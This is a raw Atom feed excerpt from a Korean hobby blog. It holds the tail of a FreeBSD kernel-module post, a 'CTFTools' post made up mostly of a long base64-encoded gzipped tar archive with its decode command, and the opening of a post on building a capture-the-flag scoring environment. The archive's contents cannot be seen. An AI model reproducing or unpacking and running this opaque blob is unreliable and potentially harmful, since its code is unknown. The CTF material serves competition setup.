&lt;vbox cd-rom="" 1.0=""&gt; at ata1-master UDMA33&lt;br /&gt;GEOM_LABEL: Label for provider ad0s1a is ufsid/4b4d2753e0ce587a.&lt;br /&gt;Trying to mount root from ufs:/dev/ad0s1a&lt;br /&gt;WARNING: / was not properly dismounted&lt;br /&gt;GEOM_LABEL: Label ufsid/4b4d2753e0ce587a removed.&lt;br /&gt;GEOM_LABEL: Label for provider ad0s1a is ufsid/4b4d2753e0ce587a.&lt;br /&gt;GEOM_LABEL: Label ufsid/4b4d2753e0ce587a removed.&lt;br /&gt;&lt;font class="Apple-style-span" color="#ff0000"&gt;&lt;b&gt;MYDRV loaded&lt;br /&gt;MYDRV unloaded&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;/vbox&gt;&lt;/vbox&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;b&gt;우왕 ㅋ 성공 ㅋ &lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4767372580884904177-4686825280584655401?l=nyam-textcube.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nyam-textcube.blogspot.com/feeds/4686825280584655401/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://nyam-textcube.blogspot.com/2010/02/freebsd-72%EC%97%90%EC%84%9C-%EC%BB%A4%EB%84%90%EB%AA%A8%EB%93%88%EB%A1%9C-%EC%82%BD%EC%A7%88%ED%95%9C-%EC%9D%B4%EC%95%BC%EA%B8%B01-%EB%BC%88%EB%8C%80-%EB%A7%8C%EB%93%A4%EA%B8%B0.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default/4686825280584655401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default/4686825280584655401'/><link rel='alternate' type='text/html' href='http://nyam-textcube.blogspot.com/2010/02/freebsd-72%EC%97%90%EC%84%9C-%EC%BB%A4%EB%84%90%EB%AA%A8%EB%93%88%EB%A1%9C-%EC%82%BD%EC%A7%88%ED%95%9C-%EC%9D%B4%EC%95%BC%EA%B8%B01-%EB%BC%88%EB%8C%80-%EB%A7%8C%EB%93%A4%EA%B8%B0.html' title='FreeBSD 7.2에서 커널모듈로 삽질한 이야기(1) - 뼈대 만들기'/><author><name>nyamnyam</name><uri>http://www.blogger.com/profile/02988925197666068481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4767372580884904177.post-1966468643048823143</id><published>2009-07-20T18:33:00.000+09:00</published><updated>2011-01-30T13:05:45.562+09:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='해킹'/><title type='text'>CTFTools</title><content type='html'>&lt;script src='http://ss.textcube.com/service/blog/script/blogger.js' type='text/javascript'&gt;&lt;/script&gt;&lt;P&gt;&lt;FONT style="FONT-FAMILY: DotumChe, Sans-serif" size=1&gt;&lt;FONT size=2&gt;CTF Tools입니다.&lt;/FONT&gt;&lt;br /&gt;&lt;FONT size=2&gt;&lt;br /&gt;&lt;SPAN style="FONT-WEIGHT: bold"&gt;압축푸는 명령어&lt;/SPAN&gt;&lt;br /&gt;base64 &lt;/FONT&gt;&lt;FONT size=2&gt;--decode &amp;gt; ctftools.tar.gz &amp;amp;&amp;amp; tar xvf ctftools.tar.gz&lt;/FONT&gt;&lt;br /&gt;&lt;FONT size=2&gt;&lt;br /&gt;&lt;SPAN style="FONT-WEIGHT: bold"&gt;파일 내용&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT style="FONT-FAMILY: DotumChe, Sans-serif" size=1&gt;&lt;br /&gt;&lt;/P&gt;&lt;p id="more-2-0" class="moreless_fold" style="color: #000000; padding: 0 0 0 10px;"&gt;&lt;span style="cursor: pointer;" onclick="if (window.TC$PRIV_toggleMoreLessBlogger != undefined) {TC$PRIV_toggleMoreLessBlogger(this, '2-0','펼쳐두기..','접어두기..'); return false;} else {document.getElementById('content-2-0').style.display='';}"&gt;      펼쳐두기..&lt;/span&gt;&lt;/p&gt;  &lt;div id="content-2-0" class="moreless_content" style="display: none; border: 1px dashed #cccccc; background-color: #f3f3f3; margin: 0 10px padding: 5px;"&gt;H4sICEg7ZEoAA2N0ZnRvb2xzLnRhcgDsPW1sHMd1S4q2yYtcUTLtOInajI4n357I+9j7ICWTp5CS&lt;br /&gt;SFWOIskS5Y9Q9Gbvdo634t3udXePIi0rsU27sCEIMBAD/ePADpp/RQEDNdq0LgoHMmIYcAEhKIoi&lt;br /&gt;BYq2SVAadQGlUAMDNcy+NzO7t3c6SnYry3W7T5jdeTNv3nvz8d7MzlBzqXTZrbiWVXPS0mcFGYDx&lt;br /&gt;QgHfynghI95Zli5AUpRsLjOWHxvL5qWMkstlsxIpfGYaBaDpuJpNiGSuanUMm9HdLP8LCqlW/5cM&lt;br /&gt;s6G55eotHwiftP+VTK6QHxuH/i8oSibs/9sB3frfi9wqGTfuf0UBpKP/x8ZyOYlkbpUCN4L/5/0/&lt;br /&gt;vCvddGzs8nSD2rUIQEynpeYiKZLMBMYrWrPmqppTV62Ga1imU4wnk7ksiU8ArdMskUVqUltzqWpr&lt;br /&gt;pm7VVce1DXMxcj4yUF8lsRo1F92qalVENs8tOlWj4k4ME7dKCSchVoVEBgYGCE/k1ISTE9fyxUQY&lt;br /&gt;36lyVbOdohzX4qlU/Mn4aHwaI9+GSAYj+yCixhMTXIk2zSCtYtlUK1eJrKRSm2iYAGWgCgPDTBMh&lt;br /&gt;j5wzajVfE6J5WjI6s1kvUZuUqHuOUpNkCJZzyloNxhcvDmTtqqSKMZYxH5CxAPpdiAzY1G3a5nWq&lt;br /&gt;X/DbvGKA4lqdeg0NFMXuXSErCjaExxESfT51Z1E3BAs5ZlNnlMQgjT9V127SBAyEKRWKGxXCKBK8&lt;br /&gt;XRrA2SVylOwh0RRSp6JnzCjKGaArhisnmUyoCK05RkVu8dukOMv0eVwIKOhpB1FfmU2lY7lITLMX&lt;br /&gt;y0Xe9PLU9MnDj2AOqwDmTGYTyJPxABYHDPMEujscZ3PgCck523Bd6MHSKvGsnshebPzM1GJdM2qp&lt;br /&gt;slVPCG09TgetxqptLFZBs3Iim8nsI3MaPWdZwPghDR4d5KcdbZGSB0ksQ+YJXaHlpquVapRgz+KI&lt;br /&gt;L1HC/DDVyQJQLBu229RqRNN16Aank+KM2cF+ZkWrN2rUgeRUZIAwiEIoay6Js2IpLU6eQvGptK7R&lt;br /&gt;ugWDdmVvJr8XfLHgxboywYZLZAp8QM0wqQOdMHlq7tCRY/vRBcTAfy5SFxJj2NLzGRjAMU9HL1GB&lt;br /&gt;xAgfbPIuuZX9XVJPP5FZmc8k92nJynRydmEknRgl0SPmslYzdL+uctwrE09ER0kG+xMGo6bTWsVm&lt;br /&gt;GsVT6XgqYBayIME8Z9VxaV2OigIkeYokHyVxoXmc7CcBXlhvoSlh5SfBlJ96iuySkzRIh2rOwkCA&lt;br /&gt;toeeMMxlawm8Fs+O8ipYSzimvDRUyGpQU54dJfHJ+Ggbs4nIlEPLbhGTsJHlWUgq1yyHxyJ+Feok&lt;br /&gt;WQHVW0XjjDHzp4TxmLgBgjWToyfAzTCvin6WOuDfGY8p1laNGnR5eh4GK/TFaAzLQZ8mWoyge61K&lt;br /&gt;BdKKOEEYpl5UJiKeR40tyVNO4jyjwLyRkQVgCiNSpyvEYzYaW5q4EIlVDFrTwWuiVGGrUCwh+Mew&lt;br /&gt;JzEbGXAfLQe0ibRELhOZVY9Z9RRMCgnu4sHcDdCRxIxJXxZiIyPCCXnDo1kCnwjUy9AnXPEFPzai&lt;br /&gt;LCS9RObdeKHvEif9xBlnJJ1uT4OkmEhzsEgRs5hDiwwraIFZfOTwkcdHAcIYRsYJ2QuvfYQoGQhK&lt;br /&gt;ZHj+mL1AjsFQJnOrDUqmYfyT45UKOWU8ScnMKTJbWyRHl8gRs0KmYeIeiFVqi0WQunfB89aQwE1s&lt;br /&gt;Ou3VuIJmNB8rm+4C0uYXmKoVVkEvsSASHRDUSh3jqYCOjHgeenh4mOBgojpzBPUGc13FTZYEOA+l&lt;br /&gt;oiktOsForaZ7M1IrGrSZ/XEy6gmBruBzwCyJ4grOfRA8VmAYQvV9f8XGBTYINonwOWecPWfnteST&lt;br /&gt;C+ezF9JGAg28LRPGYw3SRbOVq1YDeE74ExdIjVWSnk8aYRowBcSMR8l5EqCMThBsr4A9d3gmzQEf&lt;br /&gt;7Ddg0iJeA3VbgKGxtvsDr2TLdxGZ+yvOhtWPO7NMm9vSHIfWYc5Bh3WqWS5DZSrNWm3Vz9CZZ8De&lt;br /&gt;tUpn9Wa9wfW+aa911E8UJknHrxk43RbL7lUCsqA3ZsuPyYAzbpVPoDc+CH2Gbs0TVmHVjBKRBTX2&lt;br /&gt;cpxAVVkFb+QWvWnLG4fRSVxzBGS3tShSBTgQr1siQc+Oa1xbc2DN20QK24Gn1bQJn17bSG+AoAc1&lt;br /&gt;tRou/KLMpiwXrJMv3CPnqiCYtVhwTkFTAB/JdeOOcooxYXE/x58HoiQ6GuPz0wAulAOumlOyDJwD&lt;br /&gt;MtznBlwukAe8LfoOE8vHeEF0jhPctOoNGbKYc0Ur9Xw9JO3PQNmB8wP4XcAr600qRchOYa0H0OJE&lt;br /&gt;Sf7lkvBMT2Y0bCUDvgpdcJDKt1A5mgwCoycXmEO9foJiSiSSiu9iPZL9BZLgHlakFAvc7fszkXKj&lt;br /&gt;mcgp+vXjftbhre1PfKx5OKuzrIXPwsKEUWG8GDs7kmVthU01hUOCd2Ac1xm88ACaFH5iFPETYD52&lt;br /&gt;diElIiPKQjsBzmTyPF+RwdIMnWQiXa7achVncSWRposTrT4BJvAhI8oKRmwosokC+6fd+XUYesCx&lt;br /&gt;MEOJMW+qom/F4SJ87ASmWw0v2WF9V5GjmZXdK+C9UDN/XZkgI37DeRomEiMFf9KIJqOw0AW7RZ9N&lt;br /&gt;Itd5qUMkmWRaJAXHYlApzLMawSxPL7GijG4mKBLjBuqPJizF6wyprAotObgQol2SR66rGnMFVhM+&lt;br /&gt;IdmSzFoSH++sELglhnGHsIsTsikxVtMcP7t9wYRjC1TFaBHXQN4whXWCp5FYSXirIlws+Fl85SCy&lt;br /&gt;mJ1gwUnoTYc88AA8J1nKCCuVIP7ARdJdntqYypMHAjVRJgIpQXW8NRr0vYxykmwFx0c+mqFQhKIa&lt;br /&gt;QelBMaIRfSGsJRXBAh44swe1Iu2sWoSiaYu8LCK+JYhKcgJ/WRYU7Hcg6n2hNQFBeuDTaJoPP5y5&lt;br /&gt;RZSwDJiV+aTtjepywxuXOG/xWCqqlrTyUrPR/lUywj5LOAlklAyzbunCaCldQhq/4flXmHChsyQ4&lt;br /&gt;GgPrHDGx8m/Uzmn38978CqHr/q9LHfdWyrjJ/m8hP55t7f8qCu7/ZpRw//e2wPdmjs729PT4eK+0&lt;br /&gt;RUJscK2vPw/vvTt4el4i0oAkS78tfVW6k+EQngYaCAQKYLgD0vogbIEwB/jcM339GO4B/B6R1yMC&lt;br /&gt;AyiL4QPIwIDlpUGev3UbhFf7+jH0Q8IghDtFfi+8COQTyMNwBXAMdwoZGKpAXwXZGAjSB/Ie/pWr&lt;br /&gt;d2sLr/xJyA/KvwZp1wL6P31vH+3amDKnSdeMUrqmJ2HN3VxJOVYqy9MHRfnDx06LtuYyB0Sb3SHy&lt;br /&gt;twhZQegNvD09WHsRVjWW9sff/MVbnSr1BOJImArg2LWJDvyrEP7mub5+5LddgkZQ1cW6Zap8/aFK&lt;br /&gt;ULUyVmlMUo8ch1TdMNUmfP9LjabrADHmC+K6ZpjS4aNHDhxUs6mM0L4XNMJ/g6I9EAYN427MmxL4&lt;br /&gt;VWjzO1Hx1/r674J3H76h4v34hsY5/eKv1j7oX28CxfpH+PgzIHr3srRR+BBKbuz+CJ7IZ2M3cmDH&lt;br /&gt;WO//4wbAbuRUxbz3rzAcOVZRjfffAhQJlX974sV/Wvvl1RNzJ6uD0A5VAo+HH6n+Euxh/U0guvbS&lt;br /&gt;SyD/1NoHfetIP//M5Td2StLF738Eec//zL1j/fch8tj8u5dfYiBony4OgSipOXXx3vsh8uP7QcXk&lt;br /&gt;EDx+8mHvpcc29v3c+fqlP0V+lw70/CFSbAw9j9mcfN/P7X/56R3IoWft7T7gfWlZuvSXcaTnbfHD&lt;br /&gt;nUD7/Fvujh9jGkQG3umLYdrGFVDk0tFYH1Rp4/c+AuqH1z4Ygsy/g2qt/+fHGxtrbw89vnBJ+6il&lt;br /&gt;78LlS+4DAf6PPnJq/ThEn7n87tckae2DrevnodylN++Hil5aw2finZ9s9D6/4caU31ycGXzxUKz/&lt;br /&gt;4sxWePVdnOl/sS+28fKfINXaT3v2fWz/w9rbW+efUBcuX9wZu+y3zw/RztY+3HC/9ibGWvXbuLL2&lt;br /&gt;r30Xt0BW8xqv+3Xtnwet1l8GlR6ff/elLWzM90q/S2s1i5yz7Jq+q9MmQgghhBBCCCGEEEIIAWFD&lt;br /&gt;fAN4bwT2LQxhK4Q3nu3rvxvf4vvoBfi2/I+PN6zX4Y3fYgTy8XvuCuC4t/UQhC+J8vcKfrg+vQYr&lt;br /&gt;XPyOux/CkITfWZL0ZQivQHmMvwxv/BbDD5V7xBuWt5YL6aCahTpdhffZZ/l3zqcF8mqr3D8Dj3+H&lt;br /&gt;0LsW4HX44MEHiXyYmq5lkXwql8ol7SxpKKnsKGkYNKlkUkqqkOBZIfnm5Clnte5qJXi7Nn9XvZhh&lt;br /&gt;utRuSCnTcmlq+sCRpKstSqlFs5mqak5VSumrJhTmb9fmOcvUdgzLbENUyLNpDel4pFFzkbsBT5eu&lt;br /&gt;wLMCCGRZuuZqUopW1Yqt1amUKruW7YAA/jpbtpkwrW6UQYDlsgfnxkuWHCArW/U61P4TjzX4NmM2&lt;br /&gt;hOOd7Qf18DHtgbc/MQzhLkHH9m16+H6FB95+CP5N8B2CDu3vhR627cL3QqTWHo8C4TdgI0iH9vm6&lt;br /&gt;4NdJNyFxG0U6tNsrQHdC4vsyPVJr3+agxG2X7T2BvZBebt+d9fimxPwHk4v2eRYikYDcXhEek7hN&lt;br /&gt;Yxzt2u3l+gXlIixKfH8I6dAvvNzL/UGwHog3AnToR17p5f4F6bYG6FYFf5SD/uyNXu57OtvZDdC9&lt;br /&gt;B3TvAd1UBx2G7wXocM9wEBrpR4FNJ2+P5/mgXPCfb0DhnV3kXpRa4+UK0F3pa/nOIN33A3TruJfR&lt;br /&gt;175n5sV/ILX21Nh+3jbeDp10PwrQ4cbL0CZ0fxSgww2Wndu6y31d1BXp2D7lttYepUeH/P88wA/3&lt;br /&gt;va524YfhrwJ0OH9c28b7t5PunWB9X4P6Dnavx18L+ay+QDe0Cd3PpPY9RKQ7EkjwotsFLw8WIOHv&lt;br /&gt;pevpvD7z4K37JCmzhY+Fr0ste/P2RD24+hWwty5yuwH6GYmV51RVH+eSX/BxLuF1H+e1vuLj3MrI&lt;br /&gt;sx7Oe++sj9/FcNfHeQu+7OMDDH/Fx/mJ1xs+/iWGv+fjWxk+uObhd3P65zz8t7h+Pr6N4es+zq1t&lt;br /&gt;66sevp3hQz7ON/N3+jj3xMTHhxh+1ce55V3z8fs4/9c8nHuOIR8PjkjEv9LWT33Srzf6A/x6eu+T&lt;br /&gt;fiegr9S7XUp34AcC+vX0DjH/6sknIP8RbK/n+PprB7RXJdB+iAfPawiEpzrwl0R7evvdfxBo7x3Q&lt;br /&gt;3j8I0GPr/YXUvj/+bkCfQdDnb/Et8O29X5Z+Ae/7X/XwHdJVlAvlvy30wwYa8sv/emMr4DsD+Pae&lt;br /&gt;dvm7OuhlwJ/09O29W/oG4LhX/YDgf6inNd524HjDw71UWVIPHz1+YPqoenx29tTMnDo3feDojCqp&lt;br /&gt;Ki4cVM22tVWVmnp7AtvWl9RDjx+b/taRgxKuCrw0vu9fdpoqW234yW1nB+pDy+pJumg4sPI5WMO/&lt;br /&gt;MHMktdJQq+ckUazz+GBqqnV+0HHeoKpt8nXHUquaqdcoIIfmjp9UZ44dQpktzdiaSFVhGeOVwhri&lt;br /&gt;uUWbGMpWO1Dxsb1jqUXqqo2y6lab5lKqtCKxMw3O6f8GbHb+K/484JbI+PTnv+O5fCY8/70dEJ7/&lt;br /&gt;tiA8/w3Pf8Pz3y/0+e/l8Pw3hBBCCCGEEEIIIYRPCuH5r4D/VWeoX2Ty8Pw3PP8Nz38RwvPf8PzX&lt;br /&gt;e4fnv+H5L+Lh+W94/hue/36+sNn5LwyRWwZ4yjuWz296/6eSbZ3/5gp4/+tYNquE57+3A4YNs1xr&lt;br /&gt;6pRMom1Zqer+SFsSWA+mRfB/+ePgl1tX51XkaPCUhd8YdyH8T/1fKAjYv2nxSwCNJ6l9S+8A/jT3&lt;br /&gt;Pxfy4v//h/c/3xbYrP89JOX8z68Bvkn/Z3MwN4j+zxbyOSmTzSiQHfr/2wDDu9jdv041wi5InSex&lt;br /&gt;YZKsuSRLFiJulZoRvJuQlqsWibLrSsVtpQ3LdtmlpOU6Xk4a5WQrhhupGHhbHN4xup+k3XojTZfx&lt;br /&gt;slQyOUlmYLE5G4kM6xRWe5So6ulTM+rhY6dJKwkw9dTx0ycPzkSC89Cqk4aAd/J1TFCQ4a42qNOe&lt;br /&gt;3DRhjalfN5ddN711L82kWeUl6rana3ZDS4OWHcmQgImQ056u1ypl8+Y6tKZYGIiuUSbsPp09KvSK&lt;br /&gt;niAyYs4oKVum4+JlyM0yvEA5dt3UHnyOMrxGTdVl16VCLIHXQGFJZHJTFl054CyP13ntIdRcnogM&lt;br /&gt;OFXscex2RNqZwHp4DxH3csld8hIgA++SNZfZzYEuROTo0UPqieMn59gts0ZFhjTvZmAUhIxQYkJz&lt;br /&gt;LYNlBq5WRIoiAYeRxyvWUEpyvwPfBaJk1YWayogkxC1trDGLxYyQwFGZN3Tiv9nECb3mrNblk3NQ&lt;br /&gt;kWMzj82NkiiyFbcXe5ctM1EycGfN7JWdGGAX6qJg7mWZDqZVruoGkAkEL1Fi/SB4Zdg1vA1DV/G2&lt;br /&gt;QHtJvj4TS/LLlzBW0a+nEDa4WC6T5KNgTyRZOXHkIEk60NdUx5snW0brBJFyhK6wBsaOOzlz9Pj0&lt;br /&gt;oWKQNJgN/VqMKRGzqOCFnMSAGpHYVES3eHfIJGaCd8gSvHsLnQzenw2OpBglsfPwvgAv40IUe9sn&lt;br /&gt;LxYD9B65IAOXM2AWvwMK2Eg6QpTvgCyT4nVrdT0SrkhvAIH536YN6zP5EZBP9fsf7O9/89mxXLj+&lt;br /&gt;ux3Q2f8Vm9KSo39u6/+xTA5//2NsfCzs/9sBm/X/kgFrLe3WyLjZ/k+uIPq/kBnPF9j33/jYWLj+&lt;br /&gt;vx0QWbHsGtlNtZVR9ozUreUSieX2AarV2IIihj8KgFd9M8AFXAMWIbD68MqWWNmSV1YpjO4u1SKN&lt;br /&gt;plPlySKmBWObiB3vFNuSiyNS9oWPkrmZk98CHYTMTdXlv2AQrgE2gc3sH38Dgy7R1VvhA25i/0ou&lt;br /&gt;m/PsP19g+7/j45nw///cFgADQRuk5RX4cnJpHdbwmr0agWQdUyp4sf/ZeoOww5aG5lZxV4AdnygP&lt;br /&gt;BnKspg2Dxc/LQl7DaqCFOwYRgMYIWJHgTedILShKK0GKEhNr1CgT1s1PnANzz2QLaPFdfEuQG7tM&lt;br /&gt;n/Hpkqk36/XVTfxQodOdQHKLTF8JuCXAiuzOd9lTepQoeDduV93Rx2U5c1/zQO1zWVJadanjZbY1&lt;br /&gt;XqlZqXiK6IIny2C2infP47XzqEU3jxtgxGvOtckzZUg3z8nZykwWaDIK2iXIJ3a4EX/EPBjBjRvi&lt;br /&gt;j5tISnPKhkGiTIAKI+FMJiro+TjqKJH1S2T0MaWyNzeeKWu6oueVbGVvprQ3ryv5HFWyhXFgREJX&lt;br /&gt;/1/tXVtT4kgUfpZf0cbskiwDJmCkVoRx1tnZmn3amtk3pSyECNFIWAKOluN/33NOX5JwdWYQGe1T&lt;br /&gt;JSZ9v37f6U7S51tkHv6jzYAVwf9S/C/vuRz/96qOwP+9fb3/uxZBBOdIK5ngfIoJiBsQffxhhhjk&lt;br /&gt;/DyYQjqF7DN1vwSMZyL0ThqfliLxQiB2OBCLOPEA47QliTi3roMwBg5zoNq5xWPOs2C9Q/acWNnz&lt;br /&gt;slDdRi/RSMKpg07QUOlbXjdJBY+nGcpUYHEbfiD/uQwzq9gc+WeVOksuCSWAIz/cHYjFnckoO99G&lt;br /&gt;JG6q6Cw3gxkUzGNlJS889wR54ZLC/7jX7vr9J9gBfLz917LrOGXc/8PHgHr/Zw0y3f/XUSe4CPzh&lt;br /&gt;6gxCP3r/r1rBwyBw/8fzXN3/65BF/b+qV8CW9D+s9j2x/1vZ8/Yd2v+r6PX/WmTS/u849tkH0J8O&lt;br /&gt;Dv5oxWRIE82/7fyQgNIoBxWLB34brtqg9AHh50z/doDGO/9KTOoes7jnh2E76vjC+i9aGtaGhp/H&lt;br /&gt;0HAnCkbSAC/ZXayT/V1hMYibMRX2GLeOyHxd1oTpVmILaEtYnErsX5ncPCNZU+PXJw5a+8xj+WAY&lt;br /&gt;tE+a9XxJ+WBq3Focd6HUmnYSmTug0bD0fcmokWnGpNSNdKmVyciQWUfCXmTKRPEH8OANldQEH97/&lt;br /&gt;+JzAT6mivpwIi00Wb9ddbrILZySuxsTktEwnbfKXexcZTatpE77YmZa00svtLy3CfwCFlWDMUvz3&lt;br /&gt;3IT/yx6u/8ugBmj8X4NsGv5DQVrDO434Lwbx42F7sb3YfGkQ5qfQGaItBGciAgDH0M4Y5eUXELpm&lt;br /&gt;TIJ2bksaxMOBTjmgDVppn3VrwioleCt78i8E62fJIvxflR24Ze//lr2q0v/33TLt/3oa/9cim4b/&lt;br /&gt;/q3fHo9a5yF/kkVPtWAYEm6rdYGmh02jhxzZDsaeLO3mSwvRvp0B+594AQEV/qb1g7zP30RBh1m/&lt;br /&gt;dW2A6uS7qvtu3UIffCXZtqHstS74q5d3H/K12WxGr/JGLE+tmIf/UK58jQGN8cvXwGJavlcW8f/t&lt;br /&gt;ivJYtv/r7buS//EJAN//099/rkU2hP/fR6wfjXrIEh3/ojUOR7YkeUE4LwDB3A1EsEXzf3A36kUr&lt;br /&gt;2AJapv8DAsj5X6l49P2f4+r5vxbZkPmf2v/no04/BNh4nf+pdXjAo6zyPmcD32yDDo1fPM5XxQnT&lt;br /&gt;Idg2fQNITok6jvnAXwEVbGyLrOJOydfxp+C+4OcAWl6nLOR/IIRV5LGU/4X9D9r/c/j+X2VP8/86&lt;br /&gt;ZAP5H3fnNfu/dvY3p+j/KR7+/6juUNJKg5afWRbyf28d9r+Q/9XzP69S3af3P6r6+d9aZAP5vzfQ&lt;br /&gt;9P/q6f/wLVudBsDeNrQSoJUALdMyzf/83yrzWML/VTzskX//41ScKn7/6eEroZr/1yCP4v/vBqjj&lt;br /&gt;qH8RdMfAYEHUz+0A5pkd/3zcBfwBuDWlVkCfiSPqp5RPwFRTPAo8iwYYP67ni8VKGTy+szw5rUQ8&lt;br /&gt;hxIhGx3pFgeUbGkIUp//plAtSRIclTZyHXc7gS/1kaEfA4+DG/89Gw3Hvg0DiTQUor7hxOs4QHG/&lt;br /&gt;MaOEoUuG4DdOcEU3OWMwuLCS9OZEJ0+VxkOqgLJ0cKkKMzd3FU+OfNk8dBTgEdXw6CLot1Cl6IbR&lt;br /&gt;OctOG9RfICjkA7+S0EtTYbjqA0Gs9x8/vaHUSWEbCnVN+Ch9LblPaUVXoBVhg7J7Zp7Vzasawzbe&lt;br /&gt;ZtbuSal5774pP+za9j3DL4QtXmbI6cqusQeopOxOWZnJep+FQSwUTXYErjEv5dxaP67elBIEUtlY&lt;br /&gt;mXe2sEYYQnSyfKcKU941r5KeXaZdHZaTc7Ghkz+r9ct7/wbZlb6BHsEsO79jkkmYJa+qp0fd6xYe&lt;br /&gt;shhd22JAyaSOo8HdMOj2YPC07bLj/M7+bflfoghA5u8W/EwEp0NaGT+lNegPxiPWiq+b7CQaj/AG&lt;br /&gt;5yAe28oRtRUeCHfVPCzji2f0X5+HgBICglnztD+R47sbKHmAL2yqRFSYbOdaqWjTqiU0MRQGusoo&lt;br /&gt;7RqlFF5YdgkwEuggOr/sjK8HMALnhHJxnWgG5IbLAKGnYtTxKOPoNlP0o1zLFFTUFBwn+Kdk4Nyl&lt;br /&gt;kBV8HGnykshB04qZzLsYMV4blRorN351mdvY7fg3u/1xGGL1OZhZHKYOHfb1K9u2ir6Ia9vsDTM+&lt;br /&gt;QOv6HSQU2RkGuL4T1wDY43bbj+MLSPKO8GSyWKLVWDFmxUsyCSXSb7BUiy4sThLMtiHz41YYIsnJ&lt;br /&gt;lC+oiAYTXlAo6TNVOMjCMv4B1iCSRNr0Y2hh6YfZb4s1GjMOsblTeWdag456SFJg8j3+XHrxidw8&lt;br /&gt;bMXA1TT2hzGenDoeMlrasUzQBTc5kyAL+co4NWAdaY6iEa0ZUYvJfelB1tRm6YUv4gHHVyhdnYY+&lt;br /&gt;Rz66Vj7YUYMwwIlkvCG2ovUs1E2tkUVI8sCDa8VC1TIDuIQhd4jB8aJQIBhD1u5jfJNHPDED5Gi5&lt;br /&gt;eO73ifMQurgmQU4Nvq7dQo2GV/cEMysUmnXwLmGtaYkr18KkxiHWc16jMDSnEenxLxWKqWBGMS0U&lt;br /&gt;nmFgyNEPO6CQpGpNheA7A5SWCtLwmI1grVzqXo3niYfNYrO4vFmkf6ptIFZcV/WjZjFj3tqyMagH&lt;br /&gt;RFKX1MKX7JBRKLyum5eFstoDOMJBwTswT5+tUOQtNWBKMGJOb2EYw/WJedmUFwW3yQPykVQo0B3V&lt;br /&gt;k7v84nr8wGKRUTZJaOpT3iW07fDAWSr1djCdm5skZeO+xX1uKhGDkJdPPCZn3qc/P8NMa9Dk47CZ&lt;br /&gt;nXlx68ZPz13w/Ny6mZjQDEvBsR4TZCpncBflBGdZ1G01nia+wklBPoGWGDDUUBK+iXln87wJsx0U&lt;br /&gt;VZqnc0k/kxjz/0OVRfbvY1SMSbVBJZWX7Zc35LAQxXFrstfE2EZ3URyCyHcDGFPQ3CotcbpXApfy&lt;br /&gt;NOxUpI/dfjRMR7IgytBnQcz6EUsVS17m7ZSG89wrUS1atGjRokWLFi1atDy1/A8Zw5ndAMgAAA==&lt;/DIV&gt;&lt;br /&gt;&lt;/FONT&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4767372580884904177-1966468643048823143?l=nyam-textcube.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nyam-textcube.blogspot.com/feeds/1966468643048823143/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://nyam-textcube.blogspot.com/2009/07/ctftools.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default/1966468643048823143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default/1966468643048823143'/><link rel='alternate' type='text/html' href='http://nyam-textcube.blogspot.com/2009/07/ctftools.html' title='CTFTools'/><author><name>nyamnyam</name><uri>http://www.blogger.com/profile/02988925197666068481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4767372580884904177.post-3062789340248357190</id><published>2009-07-13T08:37:00.000+09:00</published><updated>2011-01-30T13:05:45.466+09:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CTF'/><category scheme='http://www.blogger.com/atom/ns#' term='해킹'/><title type='text'>CTF 게임을 위한 환경 설정</title><content type='html'>&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;b&gt;인트로 &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(해킹대회의) CTF게임에서 토큰은 Capture The Flag게임에서 깃발역할을 하는 무의미(?)한 쫌 긴 스트링이다. 참가자는 이걸 이용해 사람은 3가지 방법으로 점수를 딸 수 있다.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;남의 토큰를 훔치기&lt;/li&gt;&lt;li&gt;남의 토큰에다가 내 껄 덮어쓰기&lt;/li&gt;&lt;li&gt;&lt;b&gt;B&lt;/b&gt;&lt;font class="Apple-style-span" color="#670037"&gt;&lt;b&gt;B&lt;/b&gt;&lt;/font&gt;&lt;font class="Apple-style-span" color="#B50061"&gt;&lt;b&gt;B&lt;/b&gt;&lt;/font&gt;&lt;font class="Apple-style-span" color="#E53693"&gt;&lt;b&gt;B&lt;/b&gt;&lt;/font&gt;&lt;font class="Apple-style-span" color="#FF80C3"&gt;&lt;b&gt;B&lt;/b&gt;&lt;/font&gt;&lt;b&gt;reakthrough!&lt;/b&gt;(최초로 데몬을 뚫음)&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;주최자는 이 세 가지를 검출할 방법을 고안해야 하는데, 1번과 3번은 상대적으로 단순한 서버프로그래밍등을 통해서 해결할 수 있을 걸로 보인다. 문제는 2번의 구현이다. 이 기능의 구현은 유저레벨에서 할 때와 커널레벨에서 할 때, 두 가지로 구분할 